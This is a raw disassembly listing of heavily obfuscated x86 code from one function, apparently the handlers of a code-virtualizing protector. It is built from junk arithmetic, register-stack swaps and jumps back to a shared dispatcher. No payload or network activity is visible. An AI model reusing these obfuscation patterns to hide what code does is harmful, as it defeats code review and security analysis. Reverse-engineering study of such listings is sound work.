loc_5A06CA:				; CODE XREF: sub_581EE9+16F10j
		push	ecx
		mov	ecx, 4
		add	[esp-6E64h+arg_6E60], 558D7495h
		add	[esp-6E64h+arg_6E60], ecx
		sub	[esp-6E64h+arg_6E60], 558D7495h
		pop	ecx
		mov	ebx, [esp-6E68h+arg_6E60]
		jmp	loc_59AF84
; ---------------------------------------------------------------------------


loc_5A06ED:				; CODE XREF: sub_581EE9+1F3AAj
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp-6E68h+arg_6E60]
		xor	[esp-6E68h+arg_6E60], ecx
		jmp	loc_594CC4
; ---------------------------------------------------------------------------


loc_5A0704:				; CODE XREF: sub_581EE9+1A051j
		pop	esp
		push	eax
		jmp	loc_59F28E
; ---------------------------------------------------------------------------


loc_5A070B:				; CODE XREF: sub_581EE9+25207j
		xor	ebx, [esp-6E96h+arg_6E8E]
		xor	[esp-6E96h+arg_6E8E], ebx
		push	5EACh
		mov	[esp-6E92h+arg_6E8A], ebx
		xchg	ebp, [esp-6E92h+arg_6E8A]
		jmp	loc_5A1795
; ---------------------------------------------------------------------------


loc_5A0721:				; CODE XREF: sub_581EE9+1DD52j
		mov	edx, esp
		jmp	loc_59AD08
; ---------------------------------------------------------------------------


loc_5A0728:				; CODE XREF: sub_581EE9+20E3Ej
		or	dh, 6
		neg	dh
		or	dh, 73h
		jmp	loc_59AD2B
; ---------------------------------------------------------------------------


loc_5A0735:				; CODE XREF: sub_581EE9+17C20j
		add	eax, 479B056Dh
		neg	eax
		not	eax
		jmp	loc_5A07FB
; ---------------------------------------------------------------------------


loc_5A0743:				; CODE XREF: sub_581EE9+14394j
		mov	ecx, 0F663B3Dh
		add	esi, 38F05034h
		add	esi, ecx
		jmp	loc_596002
; ---------------------------------------------------------------------------


loc_5A0755:				; CODE XREF: sub_581EE9+15465j
		pop	ecx
		sub	esp, 4
		mov	dword ptr [esp-6E82h+arg_6E7A],	edi
		mov	edi, esp
		jmp	loc_592424
; ---------------------------------------------------------------------------


loc_5A0763:				; CODE XREF: sub_581EE9+1A128j
		not	ebp
		add	ebp, 504E4BA7h
		sub	ebp, 0A8A0ED37h
		add	eax, ebp
		jmp	loc_5A177D
; ---------------------------------------------------------------------------


loc_5A0778:				; CODE XREF: sub_581EE9+174A9j
		push	esp
		pop	[esp-6E5Ah+arg_6E50+2]
		jmp	loc_598440
; ---------------------------------------------------------------------------


loc_5A0781:				; CODE XREF: sub_581EE9+19CEAj
		push	ebp
		mov	ebp, 5F4B0E51h
		add	ebp, 76335A17h
		sub	ebp, 7A447CF5h
		add	ebp, 0A4C61491h
		add	eax, ebp
		pop	ebp
		jmp	loc_59AFAB
; ---------------------------------------------------------------------------


loc_5A07A1:				; CODE XREF: sub_581EE9+24926j
		mov	[esp-6E9Eh+arg_6E96], ebx
		jmp	loc_5A47A8
; ---------------------------------------------------------------------------


loc_5A07A9:				; CODE XREF: sub_581EE9+1B097j
		not	esi
		push	ebx
		mov	ebx, 2E0B722Ah
		xor	esi, ebx
		pop	ebx
		add	edi, esi
		pop	esi
		jmp	loc_59E0DF
; ---------------------------------------------------------------------------


loc_5A07BC:				; CODE XREF: sub_581EE9+10252j
		add	edi, 4
		xchg	edi, [esp-6EAEh+arg_6EA4+2]
		mov	esp, [esp-6EAEh+arg_6EA4+2]
		shr	ecx, 2
		jmp	loc_59AA44
; ---------------------------------------------------------------------------


loc_5A07CD:				; CODE XREF: sub_581EE9+1DBA1j
		xor	edx, 167E6952h
		dec	edx
		shl	edx, 7
		inc	edx
		neg	edx
		add	edx, 9305085h
		jmp	loc_5A1D4E
; ---------------------------------------------------------------------------


loc_5A07E5:				; CODE XREF: sub_581EE9+1B9EBj
		sub	esp, 4
		mov	[esp-6E58h+arg_6E50], ebp
		jmp	loc_5A19FB
; ---------------------------------------------------------------------------


loc_5A07F3:				; CODE XREF: sub_581EE9+16885j
		mov	esp, [esp-6E70h+arg_6E68]
		jmp	loc_59F459
; ---------------------------------------------------------------------------


loc_5A07FB:				; CODE XREF: sub_581EE9+1E855j
		add	eax, 53B9841Fh
		sub	ebx, eax
		pop	eax
		pop	ebp
		sub	ebx, eax
		push	esi
		mov	esi, 5E3D298Ah
		sub	ebx, esi
		jmp	loc_5A0576
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-6E4Eh+arg_6E44+2]
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_59E05E
; ---------------------------------------------------------------------------


loc_5A0825:				; CODE XREF: sub_581EE9+14FF9j
		add	dl, 87h
		jmp	loc_5A1640
; ---------------------------------------------------------------------------


loc_5A082D:				; CODE XREF: sub_581EE9+20BC8j
		pop	esp
		push	ebx
		mov	ebx, 44920F6Bh
		xor	edx, ebx
		jmp	loc_5A4369
; ---------------------------------------------------------------------------


loc_5A083B:				; CODE XREF: sub_581EE9+1CF21j
		add	ebx, ebp
		push	[esp-6E72h+arg_6E68+2]
		jmp	loc_59874A
; ---------------------------------------------------------------------------
		pop	dword ptr fs:[edx]
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A084D:				; CODE XREF: sub_581EE9+22456j
		add	al, dh
		jmp	loc_593D6F
; ---------------------------------------------------------------------------


loc_5A0854:				; CODE XREF: sub_581EE9+1BDAEj
		pop	esp
		sub	al, 0BFh
		add	al, 98h
		add	al, ch
		jmp	loc_59A1B9
; ---------------------------------------------------------------------------


loc_5A0860:				; CODE XREF: sub_581EE9+19DC8j
		sub	edi, 780B567Ah
		push	ebp
		mov	ebp, 0AA81196h
		inc	ebp
		xor	ebp, 7D6B0EEAh
		shl	ebp, 4
		jmp	loc_59FD18
; ---------------------------------------------------------------------------


loc_5A087B:				; CODE XREF: sub_581EE9+2083Dj
		push	5C1Bh
		jmp	loc_59757C
; ---------------------------------------------------------------------------


loc_5A0885:				; CODE XREF: sub_581EE9+1D235j
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_59B366
; ---------------------------------------------------------------------------


loc_5A088D:				; CODE XREF: sub_581EE9+1502Dj
		pop	ebx
		pop	[esp-6E7Ah+arg_6E72]
		jmp	loc_59C2CB
; ---------------------------------------------------------------------------


loc_5A0896:				; CODE XREF: sub_581EE9+15AD8j
		pop	edx
		sub	edx, 2C985D18h
		pop	edi
		push	[esp-6E5Ch+arg_6E54]
		jmp	loc_594D65
; ---------------------------------------------------------------------------


loc_5A08A6:				; CODE XREF: sub_581EE9+22321j
		neg	esi
		sub	esp, 4
		mov	[esp-6E54h+arg_6E4C], eax
		jmp	loc_5940BB
; ---------------------------------------------------------------------------


loc_5A08B6:				; CODE XREF: sub_581EE9+1E52Bj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-6E66h+arg_6E5C+2]
		pop	esp
		sub	eax, 79C62BBEh
		add	eax, 316F110Bh
		add	eax, ebx
		sub	eax, 316F110Bh
		add	eax, 79C62BBEh
		push	ecx
		mov	ecx, 6C966FC1h
		jmp	loc_595B04
; ---------------------------------------------------------------------------


loc_5A08E9:				; CODE XREF: sub_581EE9+148ACj
		movzx	cx, al
		push	41F5h
		mov	[esp-6E6Ah+arg_6E60+2],	edi
		mov	edi, esp
		jmp	loc_59BBF1
; ---------------------------------------------------------------------------


loc_5A08FC:				; CODE XREF: sub_581EE9+217F5j
		add	eax, 4B871BFBh
		push	edi
		mov	edi, 211E1551h
		add	eax, edi
		pop	edi
		jmp	loc_5A1219
; ---------------------------------------------------------------------------


loc_5A090F:				; CODE XREF: sub_581EE9+23133j
		push	edx
		mov	edx, 28EC0644h
		jmp	loc_594F1F
; ---------------------------------------------------------------------------


loc_5A091A:				; CODE XREF: sub_581EE9+1E7A6j
		sub	edi, ebx
		pop	ebx
		jmp	loc_59E077
; ---------------------------------------------------------------------------


loc_5A0922:				; CODE XREF: sub_581EE9+105B6j
		pop	edi
		jmp	loc_5A0154
; ---------------------------------------------------------------------------


loc_5A0928:				; CODE XREF: sub_581EE9+222F3j
		push	eax
		mov	eax, 4FDE698Ch
		jmp	loc_5969C1
; ---------------------------------------------------------------------------


loc_5A0933:				; CODE XREF: sub_581EE9+1102Fj
		push	edi
		push	7D1613FAh
		mov	edi, [esp-6E5Ah+arg_6E50+2]
		add	esp, 4
		push	ebx
		mov	ebx, 0CA54BCEh
		push	ebp
		mov	ebp, 48755E9h
		and	ebx, ebp
		pop	ebp
		inc	ebx
		sub	ebx, 0E8CB087Ch
		xor	edi, ebx
		jmp	loc_598269
; ---------------------------------------------------------------------------


loc_5A095F:				; CODE XREF: sub_581EE9+1E17Bj
		mov	ebp, [esp-6EC0h+arg_6EB6+2]
		add	esp, 4
		jmp	loc_592F8F
; ---------------------------------------------------------------------------


loc_5A096A:				; CODE XREF: sub_581EE9+20595j
		mov	ecx, [esp-6EC4h+arg_6EBA+2]
		add	esp, 4
		push	edi
		mov	edi, 2
		jmp	loc_59FDCE
; ---------------------------------------------------------------------------


loc_5A097E:				; CODE XREF: sub_581EE9+1361Fj
		add	eax, ebp
		jmp	loc_59482F
; ---------------------------------------------------------------------------


loc_5A0985:				; CODE XREF: sub_581EE9+1B02Fj
		and	bh, 0A0h
		jmp	loc_5979CE
; ---------------------------------------------------------------------------


loc_5A098D:				; CODE XREF: sub_581EE9+1B6CDj
		mov	ebx, 7D773291h
		sub	ebx, ebp
		push	[esp-6EC0h+arg_6EB6+2]
		pop	ebp
		add	esp, 4
		xor	eax, ebx
		jmp	loc_5A05AF
; ---------------------------------------------------------------------------


loc_5A09A2:				; CODE XREF: sub_581EE9+235ACj
		push	4E45h
		mov	[esp-6EC0h+arg_6EB6+2],	ecx
		push	eax
		mov	al, 0CAh
		add	al, 70h
		or	al, 93h
		dec	al
		jmp	loc_5A1351
; ---------------------------------------------------------------------------


loc_5A09B8:				; CODE XREF: sub_581EE9+202A5j
		pop	ebx
		push	ebx
		push	esp
		jmp	loc_59EC5F
; ---------------------------------------------------------------------------


loc_5A09C0:				; CODE XREF: sub_581EE9+1CB41j
		push	ebx
		push	edi
		mov	edi, esp
		jmp	loc_5A488B
; ---------------------------------------------------------------------------


loc_5A09C9:				; CODE XREF: sub_581EE9+24572j
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xor	edx, [esp-6EC4h+arg_6EBA+2]
		xor	[esp-6EC4h+arg_6EBA+2],	edx
		xor	edx, [esp-6EC4h+arg_6EBA+2]
		pop	esp
		mov	[esp-6EC8h+arg_6EBE+2],	edx
		jmp	loc_5A603E
; ---------------------------------------------------------------------------


loc_5A09EA:				; CODE XREF: sub_581EE9+1D193j
		push	esi
		mov	esi, 14E414A9h
		and	esi, 241112A4h
		sub	esi, 5627469Eh
		or	esi, 0CA94EF8h
		xor	esi, 2D0E0EC3h
		xor	esi, 925185ADh
		add	eax, esi
		pop	esi
		sub	eax, ebp
		sub	eax, 12A64594h
		pop	ebp
		push	ecx
		mov	ecx, 25CA27DCh
		jmp	loc_59AA88
; ---------------------------------------------------------------------------


loc_5A0A24:				; CODE XREF: sub_581EE9+19478j
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		sub	[esp-6EAEh+arg_6EA4+2],	53310945h
		push	[esp-6EAEh+arg_6EA4+2]
		pop	eax
		push	49E8h
		mov	dword ptr [esp-6EAAh+arg_6EA2],	edx
		jmp	loc_5A195C
; ---------------------------------------------------------------------------


loc_5A0A42:				; CODE XREF: sub_581EE9+1E33Fj
		or	edx, 60C7527Ch
		sub	edx, 1FFD3866h
		push	esi
		mov	esi, 0C66F0A99h
		jmp	loc_59DC1B
; ---------------------------------------------------------------------------


loc_5A0A59:				; CODE XREF: sub_581EE9+1E61Fj
		not	ecx
		neg	ecx
		push	13B9h
		mov	[esp-6E64h+arg_6E5C], edx
		jmp	loc_593992
; ---------------------------------------------------------------------------


loc_5A0A6A:				; CODE XREF: sub_581EE9+1423Fj
		mov	ecx, 1BB811C4h
		mov	edx, ecx
		pop	ecx
		sub	edx, 2379233Dh
		sub	edx, 6F757EA2h
		inc	edx
		xor	edx, 0A7A940ECh
		add	esi, edx
		pop	edx
		pop	eax
		xor	esi, [esp-6E8Eh+arg_6E84+2]
		xor	[esp-6E8Eh+arg_6E84+2],	esi
		xor	esi, [esp-6E8Eh+arg_6E84+2]
		mov	esp, [esp-6E8Eh+arg_6E84+2]
		shl	byte ptr [esp-6E8Eh+arg_6E84+2], cl
		pushf
		jmp	loc_5A0B7C
; ---------------------------------------------------------------------------


loc_5A0A9E:				; CODE XREF: sub_581EE9+1E248j
		shr	ebp, 1
		shl	ebp, 7
		add	ebp, 20EB5604h
		jmp	loc_5949BE
; ---------------------------------------------------------------------------


loc_5A0AAE:				; CODE XREF: sub_581EE9+1DF43j
		mov	[esp-6E88h+arg_6E80], ebp
		jmp	loc_5995DC
; ---------------------------------------------------------------------------


loc_5A0AB6:				; CODE XREF: sub_581EE9+25030j
		push	edx
		push	[esp-6E84h+arg_6E80]
		pop	edx
		pop	[esp-6E84h+arg_6E7C]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 233E11D6h
		jmp	loc_594315
; ---------------------------------------------------------------------------


loc_5A0ACD:				; CODE XREF: sub_581EE9+11A90j
		mov	ax, word ptr [esp-6EA0h+arg_6E96+2]
		add	esp, 2
		xor	dl, 0EFh
		or	bh, dl
		pop	edx
		push	195h
		jmp	loc_5949C8
; ---------------------------------------------------------------------------


loc_5A0AE7:				; CODE XREF: sub_581EE9+1D35Ej
		mov	[esp-6E5Eh+arg_6E54+2],	edx
		push	ebx
		jmp	loc_598A8C
; ---------------------------------------------------------------------------


loc_5A0AF0:				; CODE XREF: sub_581EE9+1FE0Dj
		add	eax, 0DE813D4h
		add	eax, edx
		sub	eax, 0DE813D4h
		pop	edx
		jmp	loc_59614C
; ---------------------------------------------------------------------------


loc_5A0B02:				; CODE XREF: sub_581EE9+1F6A6j
		add	esp, 4
		push	61D9h
		mov	[esp-6E5Eh+arg_6E54+2],	edi
		jmp	loc_5A46F3
; ---------------------------------------------------------------------------


loc_5A0B12:				; CODE XREF: sub_581EE9+1982Aj
		shr	ebx, 4
		sub	ebx, 0D28C9982h
		xor	ecx, ebx
		pop	ebx
		not	ecx
		jmp	loc_5A36A5
; ---------------------------------------------------------------------------


loc_5A0B25:				; CODE XREF: sub_581EE9+23C51j
		pop	[esp-6EACh+arg_6EA4]
		mov	esp, [esp-6EB0h+arg_6EA8]
		push	482Bh
		mov	[esp-6EACh+arg_6EA4], edx
		push	236Ch
		mov	[esp-6EA8h+arg_6E9E+2],	eax
		mov	eax, esp
		push	ebp
		mov	ebp, 14F6200Bh
		sub	ebp, 14F62007h
		add	eax, ebp
		pop	ebp
		sub	eax, 4
		xchg	eax, [esp-6EA8h+arg_6E9E+2]
		pop	esp
		mov	[esp-6EACh+arg_6EA4], ecx
		mov	ecx, 7867001Ah
		push	ebx
		jmp	loc_59E356
; ---------------------------------------------------------------------------


loc_5A0B63:				; CODE XREF: sub_581EE9+2136Bj
		pop	esp
		jmp	loc_59D5FF
; ---------------------------------------------------------------------------


loc_5A0B69:				; CODE XREF: sub_581EE9+1C640j
		and	ebp, eax
		mov	eax, [esp-6E6Eh+arg_6E64+2]
		add	esp, 4
		shr	ebp, 7
		jmp	loc_59631B
; ---------------------------------------------------------------------------


loc_5A0B7C:				; CODE XREF: sub_581EE9+1EBB0j
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A0B81:				; CODE XREF: sub_581EE9+14346j
		mov	esi, 4DA806F7h
		sub	eax, esi
		mov	esi, [esp-6EA0h+arg_6E96+2]
		add	esp, 4
		add	eax, 33904B70h
		add	eax, edx
		jmp	loc_5976C3
; ---------------------------------------------------------------------------


loc_5A0B9D:				; CODE XREF: sub_581EE9+1C87Aj
		push	4BD7h
		mov	[esp], edi
		push	4
		pop	edi
		add	eax, 33A87197h
		add	eax, edi
		sub	eax, 33A87197h
		pop	edi
		add	eax, 2
		xor	eax, [esp+0]
		xor	[esp+0], eax
		xor	eax, [esp+0]
		mov	esp, [esp+0]
		rol	word ptr [esp+0], cl
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A0BD3:				; CODE XREF: sub_581EE9+20CD3j
		push	esi
		sub	esp, 4
		mov	[esp-6E84h+arg_6E7C], esp
		add	[esp-6E84h+arg_6E7C], 4
		pop	esi
		add	esi, 4
		jmp	loc_5996BD
; ---------------------------------------------------------------------------


loc_5A0BED:				; CODE XREF: sub_581EE9+1E0B2j
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_59DE6A
; ---------------------------------------------------------------------------


loc_5A0BFB:				; CODE XREF: sub_581EE9+12099j
		shr	ecx, 7
		jmp	loc_59BD61
; ---------------------------------------------------------------------------


loc_5A0C03:				; CODE XREF: sub_581EE9+10A3Aj
		push	ebx
		mov	ebx, 24h
		add	ebx, edi
		jmp	loc_59460F
; ---------------------------------------------------------------------------


loc_5A0C10:				; CODE XREF: sub_581EE9+1AE83j
		push	2AE65195h
		jmp	loc_5A6EF6
; ---------------------------------------------------------------------------


loc_5A0C1A:				; CODE XREF: sub_581EE9+12C31j
		add	ebx, 4
		add	ebx, 2
		xor	ebx, [esp-6E6Ch+arg_6E64]
		xor	[esp-6E6Ch+arg_6E64], ebx
		xor	ebx, [esp-6E6Ch+arg_6E64]
		mov	esp, [esp-6E6Ch+arg_6E64]
		xor	word ptr [esp-6E6Ch+arg_6E64], ax
		pushf
		jmp	loc_5A4F0D
; ---------------------------------------------------------------------------


loc_5A0C39:				; CODE XREF: sub_581EE9+20371j
		pop	[esp-6E68h+arg_6E60]
		mov	esp, [esp-6E6Ch+arg_6E64]
		push	[esp-6E6Ch+arg_6E64]
		mov	eax, [esp-6E68h+arg_6E60]
		sub	esp, 4
		jmp	loc_598E32
; ---------------------------------------------------------------------------


loc_5A0C4D:				; CODE XREF: sub_581EE9+21BCEj
		pop	ebp
		jmp	loc_5968BE
; ---------------------------------------------------------------------------


loc_5A0C53:				; CODE XREF: sub_581EE9+1B4C3j
		shl	cl, 4
		add	cl, 4Dh
		sub	cl, al
		pop	eax
		xor	cl, bh
		pop	ebx
		add	cl, 1
		not	cl
		jmp	loc_5A4326
; ---------------------------------------------------------------------------


loc_5A0C69:				; CODE XREF: sub_581EE9+1A4B8j
		not	ebx
		dec	ebx
		xchg	ecx, ebx
		push	esi
		mov	esi, 0FFFFFFFFh
		sub	ecx, esi
		pop	esi
		xchg	ecx, ebx
		not	ebx
		jmp	loc_5A2E20
; ---------------------------------------------------------------------------


loc_5A0C80:				; CODE XREF: sub_581EE9+15AF8j
		mov	ecx, 3EAE1B76h
		shr	ecx, 3
		shl	ecx, 5
		xor	ecx, 25439691h
		sub	eax, ecx
		pop	ecx
		sub	esi, 17132310h
		sub	esi, eax
		push	eax
		mov	eax, 58FD68EAh
		not	eax
		xor	eax, 4D7A16FFh
		inc	eax
		add	eax, 8D50DCEh
		add	eax, 23C59357h
		jmp	loc_5A6F34
; ---------------------------------------------------------------------------


loc_5A0CB9:				; CODE XREF: sub_581EE9+187D2j
		sub	ecx, 6B002891h
		jmp	loc_59E5D4
; ---------------------------------------------------------------------------


loc_5A0CC4:				; CODE XREF: sub_581EE9+144AEj
		push	70B5h
		jmp	loc_5A5CCC
; ---------------------------------------------------------------------------


loc_5A0CCE:				; CODE XREF: sub_581EE9+15543j
		add	edx, 4
		push	ecx
		jmp	loc_5A5842
; ---------------------------------------------------------------------------


loc_5A0CDA:				; CODE XREF: sub_581EE9+1BFC1j
		sub	ebp, 201765D0h
		add	ebp, edx
		add	ebp, 201765D0h
		push	edi
		jmp	loc_599E3C
; ---------------------------------------------------------------------------


loc_5A0CEE:				; CODE XREF: sub_581EE9+2122Ej
		mov	al, 0DBh
		jmp	loc_59C6F0
; ---------------------------------------------------------------------------


loc_5A0CF5:				; CODE XREF: sub_581EE9+17B3Fj
		xor	[esp-6E92h+arg_6E8A], ecx
		xor	ecx, [esp-6E92h+arg_6E8A]
		mov	esp, [esp-6E92h+arg_6E8A]
		and	byte ptr [esp-6E92h+arg_6E8A], al
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A0D07:				; CODE XREF: sub_581EE9+1DAF7j
		mov	[esp-6E46h+arg_6E3E], eax
		push	62B0h
		jmp	loc_5A6836
; ---------------------------------------------------------------------------


loc_5A0D14:				; CODE XREF: sub_581EE9+243A5j
		shl	esi, 5
		jmp	loc_5A3CE1
; ---------------------------------------------------------------------------


loc_5A0D1C:				; CODE XREF: sub_581EE9+201AEj
		pop	edi
		add	esp, 4
		jmp	loc_5A15ED
; ---------------------------------------------------------------------------


loc_5A0D28:				; CODE XREF: sub_581EE9+24275j
		sub	ecx, 465F2B5Ah
		jmp	loc_5A64B8
; ---------------------------------------------------------------------------


loc_5A0D33:				; CODE XREF: sub_581EE9+2176Aj
		add	esp, 4
		add	al, dh
		mov	edx, [esp-6E4Eh+arg_6E44+2]
		sub	esp, 4
		mov	[esp+0], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0]
		jmp	loc_595A03
; ---------------------------------------------------------------------------


loc_5A0D5A:				; CODE XREF: sub_581EE9+1FE2Cj
		pop	ecx
		add	eax, edx
		mov	edx, [esp-6E4Eh+arg_6E44+2]
		add	esp, 4
		xor	eax, [esp-6E52h+arg_6E48+2]
		xor	[esp-6E52h+arg_6E48+2],	eax
		xor	eax, [esp-6E52h+arg_6E48+2]
		mov	esp, [esp-6E52h+arg_6E48+2]
		inc	byte ptr [esp-6E52h+arg_6E48+2]
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A0D7B:				; CODE XREF: sub_581EE9+1A68Dj
		push	ebx
		mov	bh, dl
		mov	cl, bh
		pop	ebx
		mov	bl, cl
		pop	ecx
		jmp	loc_5A636B
; ---------------------------------------------------------------------------


loc_5A0D89:				; CODE XREF: sub_581EE9+1C78Bj
		sub	dh, 0DAh
		add	cl, dh
		mov	edx, [esp-6EA6h+arg_6E9E]
		jmp	loc_5A3648
; ---------------------------------------------------------------------------


loc_5A0D96:				; CODE XREF: sub_581EE9+1526Bj
		xor	al, 58h
		xor	dl, al
		jmp	loc_59D047
; ---------------------------------------------------------------------------


loc_5A0D9F:				; CODE XREF: sub_581EE9+1148Fj
		push	edx
		jmp	loc_59735E
; ---------------------------------------------------------------------------


loc_5A0DA5:				; CODE XREF: sub_581EE9+20454j
		pop	esi
		push	ebp
		mov	ebp, 300E0608h
		inc	ebp
		xor	ebp, 11494412h
		jmp	loc_59FBB7
; ---------------------------------------------------------------------------


loc_5A0DB8:				; CODE XREF: sub_581EE9+1ABDBj
		mov	eax, esp
		jmp	loc_595449
; ---------------------------------------------------------------------------


loc_5A0DBF:				; CODE XREF: sub_581EE9+11A1Dj
		neg	ebx
		add	ebx, 0ECF1DF7h
		jmp	loc_5997B2
; ---------------------------------------------------------------------------


loc_5A0DCC:				; CODE XREF: sub_581EE9+20DEEj
		xor	esi, [esp-6EA2h+arg_6E9A]
		jmp	loc_593E1B
; ---------------------------------------------------------------------------


loc_5A0DD4:				; CODE XREF: sub_581EE9+14DF3j
		mov	edi, [esp-6E72h+arg_6E68+2]
		add	esp, 4
		jmp	loc_59643F
; ---------------------------------------------------------------------------


loc_5A0DDF:				; CODE XREF: sub_581EE9+20FFCj
		push	7ABCh
		mov	[esp-6E72h+arg_6E68+2],	eax
		push	esp
		pop	eax
		push	ecx
		jmp	loc_5978D8
; ---------------------------------------------------------------------------


loc_5A0DEF:				; CODE XREF: sub_581EE9+109E8j
		sub	ebx, 4
		xchg	ebx, [esp-6EC4h+arg_6EBA+2]
		pop	esp
		mov	[esp-6EC8h+arg_6EBE+2],	edx
		push	ebx
		mov	bl, 9Eh
		jmp	loc_596E5E
; ---------------------------------------------------------------------------


loc_5A0E04:				; CODE XREF: sub_581EE9+22D6Aj
		dec	edx
		sub	edx, 0CE0B9B3Bh
		jmp	loc_5A2694
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp-6EC4h+arg_6EBA+2]
		push	edx
		push	1557h
		push	esp
		jmp	loc_5A6F4A
; ---------------------------------------------------------------------------


loc_5A0E20:				; CODE XREF: sub_581EE9+1195Bj
		shl	edi, 7
		jmp	loc_59FDDE
; ---------------------------------------------------------------------------


loc_5A0E28:				; CODE XREF: sub_581EE9+1C319j
		dec	edx
		jmp	loc_5A19E1
; ---------------------------------------------------------------------------


loc_5A0E2E:				; CODE XREF: sub_581EE9+1CB16j
		xor	eax, ecx
		xor	ecx, eax
		jmp	loc_592D4D
; ---------------------------------------------------------------------------


loc_5A0E37:				; CODE XREF: sub_581EE9+1022Ej
		mov	[esp-6EA8h+arg_6E9E+2],	esi
		jmp	loc_5A6BC4
; ---------------------------------------------------------------------------


loc_5A0E3F:				; CODE XREF: sub_581EE9+13D44j
		mov	eax, [esp-6E8Ch+arg_6E84]
		add	esp, 4
		sub	al, 4Eh
		add	al, ch
		add	al, 4Eh
		jmp	loc_59E5A0
; ---------------------------------------------------------------------------


loc_5A0E50:				; CODE XREF: sub_581EE9+1C34Ej
		neg	eax
		sub	eax, 0D83218h
		shl	eax, 7
		jmp	loc_59DC87
; ---------------------------------------------------------------------------


loc_5A0E5F:				; CODE XREF: sub_581EE9+1988Aj
		pop	ebp
		inc	edi
		shr	edi, 5
		sub	esp, 4
		mov	[esp-6E7Ah+arg_6E72], edx
		jmp	loc_5A35AA
; ---------------------------------------------------------------------------


loc_5A0E6F:				; CODE XREF: sub_581EE9+1C7E4j
		xor	edx, 7C8D0131h
		or	edi, edx
		jmp	loc_59D18F
; ---------------------------------------------------------------------------


loc_5A0E7C:				; CODE XREF: sub_581EE9+17646j
		xor	ebp, 0ECF3E6FCh
		push	esi
		mov	esi, 6E8E3FF7h
		xor	ebp, esi
		jmp	loc_593C5D
; ---------------------------------------------------------------------------


loc_5A0E8F:				; CODE XREF: sub_581EE9+1F5FFj
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp-6E4Eh+arg_6E44+2]
		pop	esp
		mov	[esp-6E52h+arg_6E48+2],	esi
		sub	esp, 4
		mov	[esp-6E4Eh+arg_6E44+2],	edx
		jmp	loc_598F20
; ---------------------------------------------------------------------------


loc_5A0EAF:				; CODE XREF: sub_581EE9+24352j
		mov	ebp, [esp-6E4Eh+arg_6E44+2]
		add	esp, 4
		xchg	edx, [esp-6E52h+arg_6E48+2]
		pop	esp
		mov	[esp-6E56h+arg_6E4C+2],	edi
		push	0F30A1C0h
		push	[esp-6E52h+arg_6E48+2]
		pop	edi
		push	4AA2h
		mov	[esp-6E4Eh+arg_6E44+2],	edx
		push	esp
		pop	edx
		add	edx, 4
		push	esi
		mov	esi, 4
		jmp	loc_59848D
; ---------------------------------------------------------------------------


loc_5A0EE3:				; CODE XREF: sub_581EE9+1BF54j
		mov	eax, 27FD3FBFh
		jmp	loc_5A5650
; ---------------------------------------------------------------------------


loc_5A0EED:				; CODE XREF: sub_581EE9+18B9Aj
		push	[esp-6E44h+arg_6E3A+2]
		pop	ebx
		push	6C5Bh
		mov	[esp-6E40h+arg_6E36+2],	ebp
		mov	ebp, esp
		push	edx
		push	ebp
		mov	ebp, 2F980C74h
		shl	ebp, 4
		add	ebp, 0D075E4Ch
		shl	ebp, 5
		sub	ebp, 889232F9h
		push	ebp
		pop	edx
		pop	ebp
		shl	edx, 4
		and	edx, 2D443C1Ah
		sub	edx, 504280Ch
		jmp	loc_593441
; ---------------------------------------------------------------------------


loc_5A0F2B:				; CODE XREF: sub_581EE9+11541j
		mov	esi, 6BE35245h
		push	ebx
		mov	ebx, 3D68BD0Bh
		sub	esi, 632C664Eh
		jmp	loc_599D39
; ---------------------------------------------------------------------------


loc_5A0F41:				; CODE XREF: sub_581EE9+19F90j
		mov	esp, [esp-6E76h+arg_6E6E]
		mov	[esp-6E76h+arg_6E6E], edx
		sub	esp, 4
		mov	[esp-6E72h+arg_6E68+2],	esi
		mov	esi, 1EEF5BF5h
		mov	edx, 2E591FA3h
		shl	edx, 4
		or	edx, 2D424EFCh
		xor	edx, 0F33C8509h
		sub	edx, esi
		jmp	loc_5A6509
; ---------------------------------------------------------------------------


loc_5A0F70:				; CODE XREF: sub_581EE9+15C7Dj
		pop	esp
		sub	dh, al
		add	dh, 4Ah
		sub	dh, 4Dh
		mov	eax, [esp-6E98h+arg_6E8E+2]
		add	esp, 4
		push	cx
		jmp	loc_598022
; ---------------------------------------------------------------------------


loc_5A0F89:				; CODE XREF: sub_581EE9+1CFD3j
		add	ebp, 6D0DF1F1h
		and	eax, ebp
		push	[esp-6EA2h+arg_6E9A]
		pop	ebp
		add	esp, 4
		push	dword ptr [edi+1Ch]
		jmp	loc_5A5311
; ---------------------------------------------------------------------------


loc_5A0FA3:				; CODE XREF: sub_581EE9+142D2j
		shr	edx, 3
		sub	edx, 52834B71h
		jmp	loc_597CE3
; ---------------------------------------------------------------------------


loc_5A0FB1:				; CODE XREF: sub_581EE9+24FA0j
		mov	[esp-6E9Eh+arg_6E96], eax
		mov	eax, 3BF64149h
		sub	esp, 4
		mov	[esp-6E9Ah+arg_6E92], ebp
		mov	ebp, 66166223h
		inc	ebp
		dec	ebp
		inc	ebp
		not	ebp
		jmp	loc_59F4B4
; ---------------------------------------------------------------------------


loc_5A0FD1:				; CODE XREF: sub_581EE9+18473j
		pop	edx
		jmp	loc_59919B
; ---------------------------------------------------------------------------


loc_5A0FD7:				; CODE XREF: sub_581EE9+23A27j
		pop	esi
		push	edx
		push	[esp-6EA2h+arg_6E9E]
		pop	edx
		jmp	loc_594FE2
; ---------------------------------------------------------------------------


loc_5A0FE3:				; CODE XREF: sub_581EE9+1F793j
		mov	ebp, eax
		pop	eax
		jmp	loc_5A5309
; ---------------------------------------------------------------------------


